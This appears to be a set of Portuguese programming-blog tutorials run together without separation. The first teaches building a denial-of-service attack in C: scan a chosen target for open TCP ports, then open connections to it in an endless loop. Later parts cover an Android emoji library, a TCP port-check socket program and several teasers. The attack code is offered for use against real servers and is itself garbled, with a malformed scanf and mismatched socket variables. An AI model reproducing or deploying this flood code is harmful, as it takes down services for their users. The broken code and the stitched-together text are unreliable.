Olá pessoal, hoje nós aprenderemos a como criar um ataque DoS, mas antes de começarmos é de fundamental importância que vocês tenham lido o tutorial de criação de sockets. Para encontrá-lo é só clicar bem aqui.

O que é um ataque DoS?


Um ataque DoS (sigla em inglês para Denial of Service) é um ataque de negação de serviço que tem como finalidade tornar os recursos de um sistema inacessíveis para seus usuários, é comumente utilizado para atacar servidores WEB tornando suas páginas hospedadas  indisponíveis. Diferente de outros ataques, o DoS não se trata de uma invasão, mas sim de uma sobrecarga fazendo com que o serviço disponibilizado "caia". 

Como fazer um ataque DoS?


Agora vamos ao que interessa, relacionado ao conteúdo aprendido no tutorial de sockets iremos aprimorar as nossas habilidades para construirmos o nosso código DoS em C, antes de tudo você deve escolher um alvo (host ativo) e realizar um portscan nele para identificar quais portas TCP estão abertas, não usaremos portas UDP pois não é possível identificar de forma simples se uma porta UDP está aberta ou filtrada por um firewall. Após isso, abra o seu terminal e escolha o editor de textos de sua preferência que iremos começar a codificar!

Criando o Código DoS em C


Primeiramente declararemos as bibliotecas que iremos usar no nosso código, no caso usaremos bibliotecas referentes a input e output, conexão e declaração de sockets e manipulação de strings:

          #include<stdio.h>
          #include<netdb.h> 
          #include<unistd.h> 
          #include<string.h>

Logo após iremos criar a nossa função principal, a main, onde estará todo o corpo do nosso código e em seguida, entre os parêntese, utilizaremos os os seguintes parâmetros para usar a passagem de argumentos:

         int main( int argc, char *argv[] ){
          

          }

Depois iremos declarar as variáves que usaremos ao longo do nosso código, inicialmente quatro variáveis inteiras, uma relacionada a criação do socket, um contador para o loop que iremos criar, outra para fazer a conexão com o nosso alvo e uma para digitarmos o número da porta por qual faremos a negação do serviço e por último um ponteiro de char que receberá o endereço ip que foi passado como argumento. Confira o exemplo abaixo:

int meuSocket;
int conectar;
        int cont; 
int porta;
char  *Ipalvo = argv[1];


Agora iremos colocar um scanf para que o usuário possa entrar com o valor da porta TCP para se conectar com o alvo.

          scanf(%d",&porta);

Após declararmos as variáveis e fazermos a leitura da porta abriremos um loop while com apenas 1 dentro dele, assim o loop ficará infinitamente, ou seja, enquanto o nosso código estiver rodando o ataque estará sendo executado.

          while(1){

          }

Dentro do while iremos criar e estabelecer a conexão com o endereço de ip passado por argumento e a porta TCP encontrada aberta, para isso faça da seguinte forma, caso tenha dúvidas sobre como criar um socket dê uma olhada no nosso tutorial de criação de sockets, lá está o passo a passo de todo o procedimento.


         struct  sockaddr_in alvo;
meuPrimeiroSocket = socket(AF_INET,SOCK_STREAM,0);

alvo.sin_family = AF_INET;
alvo.sin_port = htons(porta);
alvo.sin_addr.s_addr = inet_addr(Ipalvo);
    
conectar = connect(meuSocket, (struct sockaddr *)&alvo,sizeof alvo);
                     

Para finalizar, colocaremos uma condicional de confirmação, se a conexão com servidor através da porta selecionada for bem sucedida, o código irá "printar" uma mensagem, caso não seja, ele encerrará a conexão e através do loop tentará abrir outra.


         if( conectar ==  0 ){

                                printf("atacando o servidor pela porta %d \n",porta);

                        }else{

                                close(meuSocket);                    
                                close(conectar);
                        }


No final a Estrutura do nosso código ficará como mostrado abaixo, enquanto seu algoritmo estiver rodando a conexão com o alvo continuará sendo realizada e a negação de serviço estará sendo feita e não esqueça de passar o endereço ip do alvo como argumento na hora de executar o código. Até a próxima pessoal!



#include<stdio.h>
#include<netdb.h> 
#include<unistd.h> 
#include<string.h>


int main(int argc, char *argv[]){

int meuSocket;
int conectar;
int porta;
  char  *Ipalvo = argv[1];
     
      scanf(%d",&porta);

                while(1){

       struct  sockaddr_in alvo;
       meuPrimeiroSocket = socket(AF_INET,SOCK_STREAM,0);

       alvo.sin_family = AF_INET;
       alvo.sin_port = htons(porta);
       alvo.sin_addr.s_addr = inet_addr(Ipalvo);
     
       conectar = connect(meuSocket, (struct sockaddr *)&alvo,sizeof alvo);
                     
                        if( conectar ==  0 ){

                                printf("atacando o servidor pela porta %d \n",porta);

                        }else{

                                close(meuSocket);                      
                                close(conectar);
                        }
         }

                return 0;
 }       



Emojis vem sendo utilizados para representar várias expressões que utilizamos no dia a dia, o que você acha de integrar essa funcionalidade ao seu app?
O primeiro passo é criar um novo projeto no Android Studio, para isso clique em arquivo -> novo projeto.  Dê um nome a sua aplicação e a seguir escolha Empty Activity como activity inicial e aguarde o carregamento do projeto.
Utilizaremos a biblioteca Super Nova Emoji para abilitar os emojis em nossa aplicação, para isso adicione as seguintes linhas no arquivo build.gradle:

repositories{
    maven { url "https://dl.bintray.com/hani-momanii/maven"}
}

dependencies {
    // Supernova Emoji    compile 'hani.momanii.supernova_emoji_library:supernova-emoji-library:0.0.2'
}

Será pedido para atualizar o gradle com as dependências que adicionamos, após esta atualização podemos ir para o layout da nossa aplicação onde adicionaremos um campo para receber textos e emoticons. Para isso abra o arquivo de layout activity_main.xml  que se encontra dentro da pasta res e adicione o seguinte código:

xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:id="@+id/activity_main"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:paddingBottom="@dimen/activity_vertical_margin"
    android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    tools:context="br.com.spacerocket.emoji.MainActivity">

    <ImageView
        android:id="@+id/submit_btn"
        android:layout_width="50dp"
        android:layout_height="45dp"
        android:layout_alignParentBottom="true"
        android:layout_alignParentRight="true"
        android:padding="4dp"
        android:src="@android:drawable/ic_menu_send" />

    
    <hani.momanii.supernova_emoji_library.Helper.EmojiconTextView
        android:id="@+id/textView"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_marginTop="169dp"
        android:text=""
        android:textAppearance="@style/TextAppearance.AppCompat.Large"
        android:textColor="#000000"
        android:layout_alignParentTop="true"
        android:layout_centerHorizontal="true" />

    <hani.momanii.supernova_emoji_library.Helper.EmojiconEditText
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:id="@+id/emojiconEditText"
        android:layout_alignParentBottom="true"
        android:layout_toLeftOf="@+id/submit_btn"
        android:layout_toRightOf="@+id/emoji_btn"
         />

    <ImageView
        android:id="@+id/emoji_btn"
        android:layout_width="40dp"
        android:layout_height="40dp"
        android:padding="4dp"
        android:src="@drawable/ic_menu_insert_emoticon"
        android:layout_alignTop="@+id/emojiconEditText"
        android:layout_alignParentLeft="true"
        android:layout_alignParentStart="true" />



</RelativeLayout>


O próximo passo é modificar o arquivo MainActivity.java onde adicionaremos a lógica de negócio para quando clicarmos no botão de enviar a mensagem o texto atualizar na tela com o emoticon escolhido, para isso adicione o seguinte código:

package br.com.spacerocket.emoji;

import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.view.View;
import android.widget.ImageView;
import android.widget.Toast;

import hani.momanii.supernova_emoji_library.Actions.EmojIconActions;
import hani.momanii.supernova_emoji_library.Helper.EmojiconEditText;
import hani.momanii.supernova_emoji_library.Helper.EmojiconTextView;

public class MainActivity extends AppCompatActivity {

    //Our variables to represent the elements on xml file and enable emojIcons
    private EmojiconEditText emojiconEditText;
    private EmojiconTextView emojiconTextView;
    ImageView emojiImageView, submitButton;
    View rootView;
    EmojIconActions emojIcon;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        //init the elements
        rootView = findViewById(R.id.activity_main);
        emojiconEditText = (EmojiconEditText) findViewById(R.id.emojiconEditText);
        emojiconTextView = (EmojiconTextView) findViewById(R.id.textView);
        submitButton = (ImageView) findViewById(R.id.submit_btn);
        emojiImageView = (ImageView) findViewById(R.id.emoji_btn);
        //init the emojicon icon
        emojIcon = new EmojIconActions(this, rootView, emojiconEditText, emojiImageView);
        emojIcon.ShowEmojIcon();
        emojIcon.setIconsIds(R.drawable.ic_action_keyboard, R.drawable.smiley);
        //listen the send button click
        submitButton.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                //change the text to emoji or text
                String text = emojiconEditText.getText().toString();
                emojiconTextView.setText(text);
            }
        });
    }
}

Após rodar o app verá o seguinte resultado:



Baseado em: http://bit.ly/AndroidHive
Código fonte: http://bit.ly/TurimLabEmoji

Lembrando que as imagens para representar os icones se encontram no link do código fonte acima. Até a próxima!




Continuando nossa série de tutoriais sobre o Android Studio. Hoje vamos organizar nosso app e instalar o MySQL para futuramente integra-lo ao nosso projeto.


Iae pessoal hoje vamos ver um pouco do framework chamado BOOTSTRAP. Para iniciar primeiramente vamos saber o que é cada um.




Olá pessoal, hoje nós aprenderemos a como criar um socket em linguagem C, sockets são mecanismos de comunicação normalmente usados para estabelecer uma conexão entre cliente e servidor, ou seja, sockets podem ser usados em ligações de redes de computadores para um fim de um elo bidirecional de comunicação entre dois programas. Em outras palavras, os sockets são utilizados para fazer o acesso aos serviços da camada de transporte, portanto usando essa ferramenta podemos acessar vários protocolos dessa camada, sendo eles TCP, UDP, entre outros. Antes de começarmos é importante vermos alguns conceitos fundamentais:


Domínios


Domínios são espaços de possíveis endereços utilizados para fazer referência aos seus respectivos sockets, os sockets utilizam esses endereços para se auto referenciarem, sendo assim, cada socket possui seu próprio endereço. Abaixo temos alguns exemplos de Domínios:

AF_INET------(ARPA INTERNET PROTOCOLS) "O que iremos utilizar"
AF_UNIX------(UNIX INTERNET PROTOCOLS)
AF_ISO-------(ISO PROTOCOLS)
AF_NS--------(XEROX NETWORK SYSTEM PROTOCOLS)

 

Tipos de Sockets


SOCK_STREAM -> Comunicação confiável (para comunicações TCP)
SOCK_DGRAM ->  Comunicação rápida (Para comunicações UDP)

Construindo o Código


Agora chega de papo, vamos ao que realmente interessa! Abra seu terminal e crie um arquivo com estensão .c tipo "socket.c" e abra esse arquivo usando um editor de sua preferência.

Para começar colocaremos inicialmente as bibliotecas que permitiram usar as funções necessárias para estabeler uma conexão usando o Socket e utilizar outras funcionalidades da linguagem C, são elas:


    #include<stdio.h>
    #include<netdb.h>
    #include<unistd.h>

Logo após iremos declarar três variáveis do tipo int e um vetor de char 20 posições, as três variáveis inteiras serão usadas para identificar a porta, criar o socket e estabelecer uma conexão com um host através da porta informada e o vetor de char informaremos esse o endereço do host:

    int meuPrimeiroSocket;
    int conexao;
    int porta;
    char ip[20];

Depois colocaremos um printf solicitando que o usuários digite o número da porta e o endereço host para estabelecer a conexão e um "scanf" que permitirá que o usuário informe a porta e o host nos quais o socket estabelecerá a conexão, é ideial que você coloque um espaço entre a aspa e a porcentagem do %d para evitar pegar o buffer do teclado, utilize o seguinte formato:


   printf("Digite o numero da porta e o endereco ip: ");
   scanf(" %d %s",&porta,ip);

Agora criaremos uma struct do tipo sockaddr_in para estabelecer conexão com a internet.

    struct sockaddr_in alvo;

Logo após a variável criada para ser o socket receberá como atributo as configurações de conexão necessárias da função socket como: socket(AF_INET,SOCK_STREAM,0). Sendo  o AF_INET a família de protocolos que iremos usar para trabalhar com a internet, SOCK_STREM para  
trabalharmos com protocolo TCP e o 0 (zero) é uma referência ao protocolo ip:

    meuPrimeiroSocket = socket(AF_INET,SOCK_STREAM,0);

Lembra da struct que criamos? Agora é hora de configurar a conexão e atribuir a porta e o endereço de ip digitados anteriormente.

    alvo.sin_family = AF_INET;
    alvo.sin_port = htons(porta);
    alvo.sin_addr.s_addr = inet_addr(ip);

Nesse momento estamos com o tipo de conexão configurada para o nosso socket, porta e endereço de ip definidos, o que nos falta agora é simplesmente conectar e a para isso faremos da seguinte forma, lembra lá em cima de uma variável que criamos para estabelecer a conexão? É a vez dela agora.

    conexao = connect(meuPrimeiroSocket, (struct sockaddr *)&alvo,sizeof alvo);

Contudo não basta apenas conectar, temos que ter certeza se a conexão foi estabelecida com sucesso. Caso tenha sido efetuada imprimiremos na tela "Porta Aberta" e fecharemos a conexão, caso n seja possível imprimiremos "Porta Fechada".

    if( conexao == 0 ){
        printf("Porta Aberta\n");
        close(meuPrimeiroSocket);
        close(conexao);
    }else{
        printf("Porta Fechada\n");
    }

    return 0;

Por fim a estrutura do nosso código de conexão ficará no formato apresentado abaixo.
Valeu pessoal ;)

 #include<stdio.h>
 #include<netdb.h>
 #include<unistd.h>

int main(){

    int meuPrimeiroSocket;
    int conexao;
    int porta;
    char ip[20];


   printf("Digite o numero da porta e o endereco ip: ");
    scanf(" %d %s",&porta,ip);

    struct sockaddr_in alvo;
    meuPrimeiroSocket = socket(AF_INET,SOCK_STREAM,0);

   
     alvo.sin_family = AF_INET;
     alvo.sin_port = htons(porta); 
     alvo.sin_addr.s_addr = inet_addr(ip);

   conexao = connect(meuPrimeiroSocket, (struct sockaddr *)&alvo,sizeof alvo);

    if( conexao == 0 ){
        printf("Porta Aberta\n");
        close(meuPrimeiroSocket);
        close(conexao);
    }else{
        printf("Porta Fechada\n");
    }

    return 0;
}


Hoje iremos ver como colocar mascaras em textfield no html, utilizando o jquery de forma simples.



A detecção de objetos é muito importante na visão computacional, várias pesquisas e metódos são criados todos os anos com novas melhorias e aperfeiçoamento de algoritmos já existentes.